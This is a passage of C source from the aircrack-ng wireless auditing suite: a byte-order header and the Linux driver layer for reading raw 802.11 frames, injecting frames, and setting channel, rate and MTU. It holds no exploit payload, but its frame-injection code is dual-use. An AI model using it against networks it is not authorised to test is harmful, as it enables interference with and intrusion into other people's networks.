defined(__BYTE_ORDER) #if (__BYTE_ORDER == AIRCRACK_NG_LITTLE_ENDIAN) #define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_LITTLE_ENDIAN #elif (__BYTE_ORDER == AIRCRACK_NG_BIG_ENDIAN) #define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_BIG_ENDIAN #endif #elif defined(_BYTE_ORDER) #if (_BYTE_ORDER == AIRCRACK_NG_LITTLE_ENDIAN) #define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_LITTLE_ENDIAN #elif (_BYTE_ORDER == AIRCRACK_NG_BIG_ENDIAN) #define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_BIG_ENDIAN #endif #endif #ifndef AIRCRACK_NG_BYTE_ORDER #error Impossible to determine endianness (Little or Big endian), please contact the author. #endif #if (AIRCRACK_NG_BYTE_ORDER == AIRCRACK_NG_LITTLE_ENDIAN) #ifndef AIRCRACK_NG_BYTE_ORDER_DEFINED #define __be64_to_cpu(x) ___my_swab64(x) #define __be32_to_cpu(x) ___my_swab32(x) #define __be16_to_cpu(x) ___my_swab16(x) #define __cpu_to_be64(x) ___my_swab64(x) #define __cpu_to_be32(x) ___my_swab32(x) #define __cpu_to_be16(x) ___my_swab16(x) #define __le64_to_cpu(x) (x) #define __le32_to_cpu(x) (x) #define __le16_to_cpu(x) (x) #define __cpu_to_le64(x) (x) #define __cpu_to_le32(x) (x) #define __cpu_to_le16(x) (x) #endif #ifndef htobe16 #define htobe16 ___my_swab16 #endif #ifndef htobe32 #define htobe32 ___my_swab32 #endif #ifndef htobe64 #define htobe64 ___my_swab64 #endif #ifndef betoh16 #define betoh16 ___my_swab16 #endif #ifndef betoh32 #define betoh32 ___my_swab32 #endif #ifndef betoh64 #define betoh64 ___my_swab64 #endif #ifndef htole16 #define htole16(x) (x) #endif #ifndef htole32 #define htole32(x) (x) #endif #ifndef htole64 #define htole64(x) (x) #endif #ifndef letoh16 #define letoh16(x) (x) #endif #ifndef letoh32 #define letoh32(x) (x) #endif #ifndef letoh64 #define letoh64(x) (x) #endif #endif #if (AIRCRACK_NG_BYTE_ORDER == AIRCRACK_NG_BIG_ENDIAN) #ifndef AIRCRACK_NG_BYTE_ORDER_DEFINED #define __be64_to_cpu(x) (x) #define __be32_to_cpu(x) (x) #define __be16_to_cpu(x) (x) #define __cpu_to_be64(x) (x) #define __cpu_to_be32(x) (x) #define __cpu_to_be16(x) (x) #define __le64_to_cpu(x) ___my_swab64(x) #define __le32_to_cpu(x) ___my_swab32(x) #define __le16_to_cpu(x) ___my_swab16(x) #define __cpu_to_le64(x) ___my_swab64(x) #define __cpu_to_le32(x) ___my_swab32(x) #define __cpu_to_le16(x) ___my_swab16(x) #endif #ifndef htobe16 #define htobe16(x) (x) #endif #ifndef htobe32 #define htobe32(x) (x) #endif #ifndef htobe64 #define htobe64(x) (x) #endif #ifndef betoh16 #define betoh16(x) (x) #endif #ifndef betoh32 #define betoh32(x) (x) #endif #ifndef betoh64 #define betoh64(x) (x) #endif #ifndef htole16 #define htole16 ___my_swab16 #endif #ifndef htole32 #define htole32 ___my_swab32 #endif #ifndef htole64 #define htole64 ___my_swab64 #endif #ifndef letoh16 #define letoh16 ___my_swab16 #endif #ifndef letoh32 #define letoh32 ___my_swab32 #endif #ifndef letoh64 #define letoh64 ___my_swab64 #endif #endif // Common defines #define cpu_to_le64 __cpu_to_le64 #define le64_to_cpu __le64_to_cpu #define cpu_to_le32 __cpu_to_le32 #define le32_to_cpu __le32_to_cpu #define cpu_to_le16 __cpu_to_le16 #define le16_to_cpu __le16_to_cpu #define cpu_to_be64 __cpu_to_be64 #define be64_to_cpu __be64_to_cpu #define cpu_to_be32 __cpu_to_be32 #define be32_to_cpu __be32_to_cpu #define cpu_to_be16 __cpu_to_be16 #define be16_to_cpu __be16_to_cpu #ifndef le16toh #define le16toh le16_to_cpu #endif #ifndef be16toh #define be16toh be16_to_cpu #endif #ifndef le32toh #define le32toh le32_to_cpu #endif #ifndef be32toh #define be32toh be32_to_cpu #endif #ifndef htons #define htons be16_to_cpu #endif #ifndef htonl #define htonl cpu_to_be16 #endif #ifndef ntohs #define ntohs cpu_to_be16 #endif #ifndef ntohl #define ntohl cpu_to_be32 #endif #endif aircrack-ng-1.2-beta3/src/osdep/linux.c0000644000000000000000000017430212316411132016434 0ustar rootroot/* * OS dependent APIs for Linux * * Copyright (C) 2006-2013 Thomas d'Otreppe * Copyright (C) 2004, 2005 Christophe Devine * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifdef CONFIG_LIBNL #include #include #include #include #include #include #include #endif //CONFIG_LIBNL #include "radiotap/radiotap.h" #include "radiotap/radiotap_iter.h" /* radiotap-parser defines types like u8 that * ieee80211_radiotap.h needs * * we use our local copy of ieee80211_radiotap.h * * - since we can't support extensions we don't understand * - since linux does not include it in userspace headers */ #include "osdep.h" #include "pcap.h" #include "crctable_osdep.h" #include "common.h" #include "byteorder.h" #ifdef CONFIG_LIBNL struct nl80211_state state; static int chan; #endif //CONFIG_LIBNL #define uchar unsigned char typedef enum { DT_NULL = 0, DT_WLANNG, DT_HOSTAP, DT_MADWIFI, DT_MADWIFING, DT_BCM43XX, DT_ORINOCO, DT_ZD1211RW, DT_ACX, DT_MAC80211_RT, DT_AT76USB, DT_IPW2200 } DRIVER_TYPE; static const char * szaDriverTypes[] = { [DT_NULL] = "Unknown", [DT_WLANNG] = "Wlan-NG", [DT_HOSTAP] = "HostAP", [DT_MADWIFI] = "Madwifi", [DT_MADWIFING] = "Madwifi-NG", [DT_BCM43XX] = "BCM43xx", [DT_ORINOCO] = "Orinoco", [DT_ZD1211RW] = "ZD1211RW", [DT_ACX] = "ACX", [DT_MAC80211_RT] = "Mac80211-Radiotap", [DT_AT76USB] = "Atmel 76_usb", [DT_IPW2200] = "ipw2200" }; /* * XXX need to have a different read/write/open function for each Linux driver. */ struct priv_linux { int fd_in, arptype_in; int fd_out, arptype_out; int fd_main; int fd_rtc; DRIVER_TYPE drivertype; /* inited to DT_UNKNOWN on allocation by wi_alloc */ FILE *f_cap_in; struct pcap_file_header pfh_in; int sysfs_inject; int channel; int freq; int rate; int tx_power; char *wlanctlng; /* XXX never set */ char *iwpriv; char *iwconfig; char *ifconfig; char *wl; char *main_if; unsigned char pl_mac[6]; int inject_wlanng; }; #ifndef ETH_P_80211_RAW #define ETH_P_80211_RAW 25 #endif #define ARPHRD_IEEE80211 801 #define ARPHRD_IEEE80211_PRISM 802 #define ARPHRD_IEEE80211_FULL 803 #ifndef NULL_MAC #define NULL_MAC "\x00\x00\x00\x00\x00\x00" #endif unsigned long calc_crc_osdep( unsigned char * buf, int len) { unsigned long crc = 0xFFFFFFFF; for( ; len > 0; len--, buf++ ) crc = crc_tbl_osdep[(crc ^ *buf) & 0xFF] ^ ( crc >> 8 ); return( ~crc ); } /* CRC checksum verification routine */ int check_crc_buf_osdep( unsigned char *buf, int len ) { unsigned long crc; if (len<0) return 0; crc = calc_crc_osdep(buf, len); buf+=len; return( ( ( crc ) & 0xFF ) == buf[0] && ( ( crc >> 8 ) & 0xFF ) == buf[1] && ( ( crc >> 16 ) & 0xFF ) == buf[2] && ( ( crc >> 24 ) & 0xFF ) == buf[3] ); } //Check if the driver is ndiswrapper */ static int is_ndiswrapper(const char * iface, const char * path) { int n, pid, unused; if ((pid=fork())==0) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execl(path, "iwpriv",iface, "ndis_reset", NULL); exit( 1 ); } waitpid( pid, &n, 0 ); return ( ( WIFEXITED(n) && WEXITSTATUS(n) == 0 )); } /* Search a file recursively */ static char * searchInside(const char * dir, const char * filename) { char * ret; char * curfile; struct stat sb; int len, lentot; DIR *dp; struct dirent *ep; dp = opendir(dir); if (dp == NULL) { return NULL; } len = strlen( filename ); lentot = strlen( dir ) + 256 + 2; curfile = (char *) calloc( 1, lentot ); while ((ep = readdir(dp)) != NULL) { memset(curfile, 0, lentot); sprintf(curfile, "%s/%s", dir, ep->d_name); //Checking if it's the good file if ((int)strlen( ep->d_name) == len && !strcmp(ep->d_name, filename)) { (void)closedir(dp); return curfile; } lstat(curfile, &sb); //If it's a directory and not a link, try to go inside to search if (S_ISDIR(sb.st_mode) && !S_ISLNK(sb.st_mode)) { //Check if the directory isn't "." or ".." if (strcmp(".", ep->d_name) && strcmp("..", ep->d_name)) { //Recursive call ret = searchInside(curfile, filename); if (ret != NULL) { (void)closedir(dp); free( curfile ); return ret; } } } } (void)closedir(dp); free( curfile ); return NULL; } /* Search a wireless tool and return its path */ static char * wiToolsPath(const char * tool) { char * path /*, *found, *env */; int i, nbelems; static const char * paths [] = { "/sbin", "/usr/sbin", "/usr/local/sbin", "/bin", "/usr/bin", "/usr/local/bin", "/tmp" }; /* #define SEPARATOR ":" env = getenv("PATH"); if (env) { path = strtok(env, SEPARATOR); while (path) { found = searchInside(path, tool); if (found != NULL) return found; path = strtok(NULL, SEPARATOR); } } #undef SEPARATOR */ // Also search in other known location just in case we haven't found it yet nbelems = sizeof(paths) / sizeof(char *); for (i = 0; i < nbelems; i++) { path = searchInside(paths[i], tool); if (path != NULL) return path; } return NULL; } /* nl80211 */ #ifdef CONFIG_LIBNL struct nl80211_state { #if !defined(CONFIG_LIBNL30) && !defined(CONFIG_LIBNL20) struct nl_handle *nl_sock; #else struct nl_sock *nl_sock; #endif struct nl_cache *nl_cache; struct genl_family *nl80211; }; #if !defined(CONFIG_LIBNL30) && !defined(CONFIG_LIBNL20) static inline struct nl_handle *nl_socket_alloc(void) { return nl_handle_alloc(); } static inline void nl_socket_free(struct nl_handle *h) { nl_handle_destroy(h); } static inline int __genl_ctrl_alloc_cache(struct nl_handle *h, struct nl_cache **cache) { struct nl_cache *tmp = genl_ctrl_alloc_cache(h); if (!tmp) return -ENOMEM; *cache = tmp; return 0; } #define genl_ctrl_alloc_cache __genl_ctrl_alloc_cache #endif static int linux_nl80211_init(struct nl80211_state *state) { int err; state->nl_sock = nl_socket_alloc(); if (!state->nl_sock) { fprintf(stderr, "Failed to allocate netlink socket.\n"); return -ENOMEM; } if (genl_connect(state->nl_sock)) { fprintf(stderr, "Failed to connect to generic netlink.\n"); err = -ENOLINK; goto out_handle_destroy; } if (genl_ctrl_alloc_cache(state->nl_sock, &state->nl_cache)) { fprintf(stderr, "Failed to allocate generic netlink cache.\n"); err = -ENOMEM; goto out_handle_destroy; } state->nl80211 = genl_ctrl_search_by_name(state->nl_cache, "nl80211"); if (!state->nl80211) { fprintf(stderr, "nl80211 not found.\n"); err = -ENOENT; goto out_cache_free; } return 0; out_cache_free: nl_cache_free(state->nl_cache); out_handle_destroy: nl_socket_free(state->nl_sock); return err; } static void nl80211_cleanup(struct nl80211_state *state) { genl_family_put(state->nl80211); nl_cache_free(state->nl_cache); nl_socket_free(state->nl_sock); } /* Callbacks */ static int error_handler(struct sockaddr_nl *nla, struct nlmsgerr *err, void *arg) { printf("\n\n\nERROR"); int *ret = arg; *ret = err->error; return NL_STOP; } static void test_callback(struct nl_msg *msg, void *arg) { } #endif /* End nl80211 */ static int linux_get_channel(struct wif *wi) { struct priv_linux *dev = wi_priv(wi); struct iwreq wrq; int fd, frequency; int chan=0; memset( &wrq, 0, sizeof( struct iwreq ) ); if(dev->main_if) strncpy( wrq.ifr_name, dev->main_if, IFNAMSIZ ); else strncpy( wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ ); fd = dev->fd_in; if(dev->drivertype == DT_IPW2200) fd = dev->fd_main; if( ioctl( fd, SIOCGIWFREQ, &wrq ) < 0 ) return( -1 ); frequency = wrq.u.freq.m; if (frequency > 100000000) frequency/=100000; else if (frequency > 1000000) frequency/=1000; if (frequency > 1000) chan = getChannelFromFrequency(frequency); else chan = frequency; return chan; } static int linux_get_freq(struct wif *wi) { struct priv_linux *dev = wi_priv(wi); struct iwreq wrq; int fd, frequency; memset( &wrq, 0, sizeof( struct iwreq ) ); if(dev->main_if) strncpy( wrq.ifr_name, dev->main_if, IFNAMSIZ ); else strncpy( wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ ); fd = dev->fd_in; if(dev->drivertype == DT_IPW2200) fd = dev->fd_main; if( ioctl( fd, SIOCGIWFREQ, &wrq ) < 0 ) return( -1 ); frequency = wrq.u.freq.m; if (frequency > 100000000) frequency/=100000; else if (frequency > 1000000) frequency/=1000; if (frequency < 500) //its not a freq, but the actual channel frequency = getFrequencyFromChannel(frequency); return frequency; } static int linux_set_rate(struct wif *wi, int rate) { struct priv_linux *dev = wi_priv(wi); struct ifreq ifr; struct iwreq wrq; char s[32]; int pid, status, unused; memset(s, 0, sizeof(s)); switch(dev->drivertype) { case DT_MADWIFING: memset( &ifr, 0, sizeof( ifr ) ); strncpy( ifr.ifr_name, wi_get_ifname(wi), sizeof( ifr.ifr_name ) - 1 ); if( ioctl( dev->fd_in, SIOCGIFINDEX, &ifr ) < 0 ) { printf("Interface %s: \n", wi_get_ifname(wi)); perror( "ioctl(SIOCGIFINDEX) failed" ); return( 1 ); } /* Bring interface down*/ ifr.ifr_flags = 0; if( ioctl( dev->fd_in, SIOCSIFFLAGS, &ifr ) < 0 ) { perror( "ioctl(SIOCSIFFLAGS) failed" ); return( 1 ); } usleep(100000); snprintf( s, sizeof( s ) - 1, "%.1fM", (rate/1000000.0) ); if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp(dev->iwconfig, "iwconfig", wi_get_ifname(wi), "rate", s, NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); return 0; break; case DT_MAC80211_RT: dev->rate = (rate/500000); //return 0; //Newer mac80211 stacks (2.6.31 and up) //don't care about Radiotap header anymore, so ioctl below must also be done! //[see Documentation/networking/mac80211-injection.txt] break; default: break; } /* ELSE */ memset( &wrq, 0, sizeof( struct iwreq ) ); if(dev->main_if) strncpy( wrq.ifr_name, dev->main_if, IFNAMSIZ ); else strncpy( wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ ); wrq.u.bitrate.value = rate; wrq.u.bitrate.fixed = 1; if( ioctl( dev->fd_in, SIOCSIWRATE, &wrq ) < 0 ) { return( -1 ); } return 0; } static int linux_get_rate(struct wif *wi) { struct priv_linux *dev = wi_priv(wi); struct iwreq wrq; memset( &wrq, 0, sizeof( struct iwreq ) ); if( dev->drivertype == DT_MAC80211_RT ) return (dev->rate*500000); if(dev->main_if) strncpy( wrq.ifr_name, dev->main_if, IFNAMSIZ ); else strncpy( wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ ); if( ioctl( dev->fd_in, SIOCGIWRATE, &wrq ) < 0 ) { return( -1 ); } return wrq.u.bitrate.value; } static int linux_set_mtu(struct wif *wi, int mtu) { struct priv_linux *dev = wi_priv(wi); struct ifreq ifr; memset( &ifr, 0, sizeof( struct ifreq ) ); if(dev->main_if) strncpy( ifr.ifr_name, dev->main_if, sizeof( ifr.ifr_name ) - 1 ); else strncpy( ifr.ifr_name, wi_get_ifname(wi), sizeof( ifr.ifr_name ) - 1 ); ifr.ifr_mtu = mtu; if( ioctl( dev->fd_in, SIOCSIFMTU, &ifr ) < 0 ) { return( -1 ); } return 0; } static int linux_get_mtu(struct wif *wi) { struct priv_linux *dev = wi_priv(wi); struct ifreq ifr; memset( &ifr, 0, sizeof( struct ifreq ) ); if(dev->main_if) strncpy( ifr.ifr_name, dev->main_if, sizeof( ifr.ifr_name ) - 1 ); else strncpy( ifr.ifr_name, wi_get_ifname(wi), sizeof( ifr.ifr_name ) - 1 ); if( ioctl( dev->fd_in, SIOCGIFMTU, &ifr ) < 0 ) { return( -1 ); } return ifr.ifr_mtu; } static int linux_read(struct wif *wi, unsigned char *buf, int count, struct rx_info *ri) { struct priv_linux *dev = wi_priv(wi); unsigned char tmpbuf[4096]; int caplen, n, got_signal, got_noise, got_channel, fcs_removed; caplen = n = got_signal = got_noise = got_channel = fcs_removed = 0; if((unsigned)count > sizeof(tmpbuf)) return( -1 ); if( ( caplen = read( dev->fd_in, tmpbuf, count ) ) < 0 ) { if( errno == EAGAIN ) return( 0 ); perror( "read failed" ); return( -1 ); } switch (dev->drivertype) { case DT_MADWIFI: caplen -= 4; /* remove the FCS for madwifi-old! only (not -ng)*/ break; default: break; } memset( buf, 0, count ); /* XXX */ if (ri) memset(ri, 0, sizeof(*ri)); if( dev->arptype_in == ARPHRD_IEEE80211_PRISM ) { /* skip the prism header */ if( tmpbuf[7] == 0x40 ) { /* prism54 uses a different format */ if(ri) { ri->ri_power = tmpbuf[0x33]; ri->ri_noise = *(unsigned int *)( tmpbuf + 0x33 + 12 ); ri->ri_rate = (*(unsigned int *)( tmpbuf + 0x33 + 24 ))*500000; got_signal = 1; got_noise = 1; } n = 0x40; } else { if(ri) { ri->ri_mactime = *(u_int64_t*)( tmpbuf + 0x5C - 48 ); ri->ri_channel = *(unsigned int *)( tmpbuf + 0x5C - 36 ); ri->ri_power = *(unsigned int *)( tmpbuf + 0x5C ); ri->ri_noise = *(unsigned int *)( tmpbuf + 0x5C + 12 ); ri->ri_rate = (*(unsigned int *)( tmpbuf + 0x5C + 24 ))*500000; // if( ! memcmp( iface[i], "ath", 3 ) ) if( dev->drivertype == DT_MADWIFI ) ri->ri_power -= *(int *)( tmpbuf + 0x68 ); if( dev->drivertype == DT_MADWIFING ) ri->ri_power -= *(int *)( tmpbuf + 0x68 ); got_channel = 1; got_signal = 1; got_noise = 1; } n = *(int *)( tmpbuf + 4 ); } if( n < 8 || n >= caplen ) return( 0 ); } if( dev->arptype_in == ARPHRD_IEEE80211_FULL ) { struct ieee80211_radiotap_iterator iterator; struct ieee80211_radiotap_header *rthdr; rthdr = (struct ieee80211_radiotap_header *) tmpbuf; if (ieee80211_radiotap_iterator_init(&iterator, rthdr, caplen, NULL) < 0) return (0); /* go through the radiotap arguments we have been given * by the driver */ while (ri && (ieee80211_radiotap_iterator_next(&iterator) >= 0)) { switch (iterator.this_arg_index) { case IEEE80211_RADIOTAP_TSFT: ri->ri_mactime = le64_to_cpu(*((uint64_t*)iterator.this_arg)); break; case IEEE80211_RADIOTAP_DBM_ANTSIGNAL: if(!got_signal) { if( *iterator.this_arg < 127 ) ri->ri_power = *iterator.this_arg; else ri->ri_power = *iterator.this_arg - 255; got_signal = 1; } break; case IEEE80211_RADIOTAP_DB_ANTSIGNAL: if(!got_signal) { if( *iterator.this_arg < 127 ) ri->ri_power = *iterator.this_arg; else ri->ri_power = *iterator.this_arg - 255; got_signal = 1; } break; case IEEE80211_RADIOTAP_DBM_ANTNOISE: if(!got_noise) { if( *iterator.this_arg < 127 ) ri->ri_noise = *iterator.this_arg; else ri->ri_noise = *iterator.this_arg - 255; got_noise = 1; } break; case IEEE80211_RADIOTAP_DB_ANTNOISE: if(!got_noise) { if( *iterator.this_arg < 127 ) ri->ri_noise = *iterator.this_arg; else ri->ri_noise = *iterator.this_arg - 255; got_noise = 1; } break; case IEEE80211_RADIOTAP_ANTENNA: ri->ri_antenna = *iterator.this_arg; break; case IEEE80211_RADIOTAP_CHANNEL: ri->ri_channel = getChannelFromFrequency(le16toh(*(uint16_t*)iterator.this_arg)); got_channel = 1; break; case IEEE80211_RADIOTAP_RATE: ri->ri_rate = (*iterator.this_arg) * 500000; break; case IEEE80211_RADIOTAP_FLAGS: /* is the CRC visible at the end? * remove */ if ( *iterator.this_arg & IEEE80211_RADIOTAP_F_FCS ) { fcs_removed = 1; caplen -= 4; } if ( *iterator.this_arg & IEEE80211_RADIOTAP_F_BADFCS ) return( 0 ); break; } } n = le16_to_cpu(rthdr->it_len); if( n <= 0 || n >= caplen ) return( 0 ); } caplen -= n; //detect fcs at the end, even if the flag wasn't set and remove it if( fcs_removed == 0 && check_crc_buf_osdep( tmpbuf+n, caplen - 4 ) == 1 ) { caplen -= 4; } memcpy( buf, tmpbuf + n, caplen ); if(ri && !got_channel) ri->ri_channel = wi_get_channel(wi); return( caplen ); } static int linux_write(struct wif *wi, unsigned char *buf, int count, struct tx_info *ti) { struct priv_linux *dev = wi_priv(wi); unsigned char maddr[6]; int ret, usedrtap=0; unsigned char tmpbuf[4096]; unsigned char rate; unsigned short int *p_rtlen; unsigned char u8aRadiotap[] = { 0x00, 0x00, // <-- radiotap version 0x0c, 0x00, // <- radiotap header length 0x04, 0x80, 0x00, 0x00, // <-- bitmap 0x00, // <-- rate 0x00, // <-- padding for natural alignment 0x18, 0x00, // <-- TX flags }; /* Pointer to the radiotap header length field for later use. */ p_rtlen = (unsigned short int*)(u8aRadiotap+2); if((unsigned) count > sizeof(tmpbuf)-22) return -1; /* XXX honor ti */ if (ti) {} rate = dev->rate; u8aRadiotap[8] = rate; switch (dev->drivertype) { case DT_MAC80211_RT: memcpy(tmpbuf, u8aRadiotap, sizeof (u8aRadiotap) ); memcpy(tmpbuf + sizeof (u8aRadiotap), buf, count); count += sizeof (u8aRadiotap); buf = tmpbuf; usedrtap = 1; break; case DT_WLANNG: /* Wlan-ng isn't able to inject on kernel > 2.6.11 */ if( dev->inject_wlanng == 0 ) { perror( "write failed" ); return( -1 ); } if (count >= 24) { /* for some reason, wlan-ng requires a special header */ if( ( ((unsigned char *) buf)[1] & 3 ) != 3 ) { memcpy( tmpbuf, buf, 24 ); memset( tmpbuf + 24, 0, 22 ); tmpbuf[30] = ( count - 24 ) & 0xFF; tmpbuf[31] = ( count - 24 ) >> 8; memcpy( tmpbuf + 46, buf + 24, count - 24 ); count += 22; } else { memcpy( tmpbuf, buf, 30 ); memset( tmpbuf + 30, 0, 16 ); tmpbuf[30] = ( count - 30 ) & 0xFF; tmpbuf[31] = ( count - 30 ) >> 8; memcpy( tmpbuf + 46, buf + 30, count - 30 ); count += 16; } buf = tmpbuf; } /* fall thru */ case DT_HOSTAP: if( ( ((uchar *) buf)[1] & 3 ) == 2 ) { /* Prism2 firmware swaps the dmac and smac in FromDS packets */ memcpy( maddr, buf + 4, 6 ); memcpy( buf + 4, buf + 16, 6 ); memcpy( buf + 16, maddr, 6 ); } break; default: break; } ret = write( dev->fd_out, buf, count ); if( ret < 0 ) { if( errno == EAGAIN || errno == EWOULDBLOCK || errno == ENOBUFS || errno == ENOMEM ) { usleep( 10000 ); return( 0 ); } perror( "write failed" ); return( -1 ); } /* radiotap header length is stored little endian on all systems */ if(usedrtap) ret-=letoh16(*p_rtlen); if( ret < 0 ) { if( errno == EAGAIN || errno == EWOULDBLOCK || errno == ENOBUFS || errno == ENOMEM ) { usleep( 10000 ); return( 0 ); } perror( "write failed" ); return( -1 ); } return( ret ); } #ifdef CONFIG_LIBNL static int linux_set_channel_nl80211(struct wif *wi, int channel) { struct priv_linux *dev = wi_priv(wi); char s[32]; int pid, status, unused; struct iwreq wrq; unsigned int devid; struct nl_msg *msg; unsigned int freq; int err; struct nl_cb *cb; struct nl_cb *s_cb; unsigned int htval = NL80211_CHAN_NO_HT; memset( s, 0, sizeof( s ) ); switch (dev->drivertype) { case DT_WLANNG: snprintf( s, sizeof( s ) - 1, "channel=%d", channel ); if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execl( dev->wlanctlng, "wlanctl-ng", wi_get_ifname(wi), "lnxreq_wlansniff", s, NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); if( WIFEXITED(status) ) { dev->channel=channel; return( WEXITSTATUS(status) ); } else return( 1 ); break; case DT_ORINOCO: snprintf( s, sizeof( s ) - 1, "%d", channel ); if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp( dev->iwpriv, "iwpriv", wi_get_ifname(wi), "monitor", "1", s, NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); dev->channel = channel; return 0; break; //yeah ;) case DT_ZD1211RW: snprintf( s, sizeof( s ) - 1, "%d", channel ); if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp(dev->iwconfig, "iwconfig", wi_get_ifname(wi), "channel", s, NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); dev->channel = channel; chan=channel; return 0; break; //yeah ;) default: break; } /* libnl stuff */ chan=channel; devid=if_nametoindex(wi->wi_interface); freq=ieee80211_channel_to_frequency(channel); msg=nlmsg_alloc(); if (!msg) { fprintf(stderr, "failed to allocate netlink message\n"); return 2; } cb = nl_cb_alloc(NL_CB_DEFAULT); s_cb = nl_cb_alloc(NL_CB_DEFAULT); if (!cb || !s_cb) { fprintf(stderr, "failed to allocate netlink callbacks\n"); err = 2; goto out_free_msg; } //nl_cb_set(cb, NL_CB_VALID, NL_CB_CUSTOM, test_callback, NULL); genlmsg_put(msg, 0, 0, genl_family_get_id(state.nl80211), 0, 0, NL80211_CMD_SET_WIPHY, 0); NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, devid); NLA_PUT_U32(msg, NL80211_ATTR_WIPHY_FREQ, freq); NLA_PUT_U32(msg, NL80211_ATTR_WIPHY_CHANNEL_TYPE, htval); nl_send_auto_complete(state.nl_sock,msg); dev->channel = channel; return( 0 ); out_free_msg: nlmsg_free(msg); return err; nla_put_failure: return -ENOBUFS; } #endif //CONFIG_LIBNL static int linux_set_channel(struct wif *wi, int channel) { struct priv_linux *dev = wi_priv(wi); char s[32]; int pid, status, unused; struct iwreq wrq; memset( s, 0, sizeof( s ) ); switch (dev->drivertype) { case DT_WLANNG: snprintf( s, sizeof( s ) - 1, "channel=%d", channel ); if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execl( dev->wlanctlng, "wlanctl-ng", wi_get_ifname(wi), "lnxreq_wlansniff", s, NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); if( WIFEXITED(status) ) { dev->channel=channel; return( WEXITSTATUS(status) ); } else return( 1 ); break; case DT_ORINOCO: snprintf( s, sizeof( s ) - 1, "%d", channel ); if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp( dev->iwpriv, "iwpriv", wi_get_ifname(wi), "monitor", "1", s, NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); dev->channel = channel; return 0; break; //yeah ;) case DT_ZD1211RW: snprintf( s, sizeof( s ) - 1, "%d", channel ); if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp(dev->iwconfig, "iwconfig", wi_get_ifname(wi), "channel", s, NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); dev->channel = channel; return 0; break; //yeah ;) default: break; } memset( &wrq, 0, sizeof( struct iwreq ) ); strncpy( wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ ); wrq.u.freq.m = (double) channel; wrq.u.freq.e = (double) 0; if( ioctl( dev->fd_in, SIOCSIWFREQ, &wrq ) < 0 ) { usleep( 10000 ); /* madwifi needs a second chance */ if( ioctl( dev->fd_in, SIOCSIWFREQ, &wrq ) < 0 ) { /* perror( "ioctl(SIOCSIWFREQ) failed" ); */ return( 1 ); } } dev->channel = channel; return( 0 ); } int ieee80211_channel_to_frequency(int chan) { if (chan < 14) return 2407 + chan * 5; if (chan == 14) return 2484; /* FIXME: dot11ChannelStartingFactor (802.11-2007 17.3.8.3.2) */ return (chan + 1000) * 5; } static int linux_set_freq(struct wif *wi, int freq) { struct priv_linux *dev = wi_priv(wi); char s[32]; int pid, status, unused; struct iwreq wrq; memset( s, 0, sizeof( s ) ); switch (dev->drivertype) { case DT_WLANNG: case DT_ORINOCO: case DT_ZD1211RW: snprintf( s, sizeof( s ) - 1, "%dM", freq ); if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp(dev->iwconfig, "iwconfig", wi_get_ifname(wi), "freq", s, NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); dev->freq = freq; return 0; break; //yeah ;) default: break; } memset( &wrq, 0, sizeof( struct iwreq ) ); strncpy( wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ ); wrq.u.freq.m = (double) freq*100000; wrq.u.freq.e = (double) 1; if( ioctl( dev->fd_in, SIOCSIWFREQ, &wrq ) < 0 ) { usleep( 10000 ); /* madwifi needs a second chance */ if( ioctl( dev->fd_in, SIOCSIWFREQ, &wrq ) < 0 ) { /* perror( "ioctl(SIOCSIWFREQ) failed" ); */ return( 1 ); } } dev->freq = freq; return( 0 ); } static int opensysfs(struct priv_linux *dev, char *iface, int fd) { int fd2; char buf[256]; /* ipw2200 injection */ snprintf(buf, 256, "/sys/class/net/%s/device/inject", iface); fd2 = open(buf, O_WRONLY); /* bcm43xx injection */ if (fd2 == -1) { snprintf(buf, 256, "/sys/class/net/%s/device/inject_nofcs", iface); fd2 = open(buf, O_WRONLY); } if (fd2 == -1) return -1; dup2(fd2, fd); close(fd2); dev->sysfs_inject=1; return 0; } int linux_get_monitor(struct wif *wi) { struct priv_linux *dev = wi_priv(wi); struct ifreq ifr; struct iwreq wrq; /* find the interface index */ if(dev->drivertype == DT_IPW2200) return( 0 ); memset( &ifr, 0, sizeof( ifr ) ); strncpy( ifr.ifr_name, wi_get_ifname(wi), sizeof( ifr.ifr_name ) - 1 ); // if( ioctl( fd, 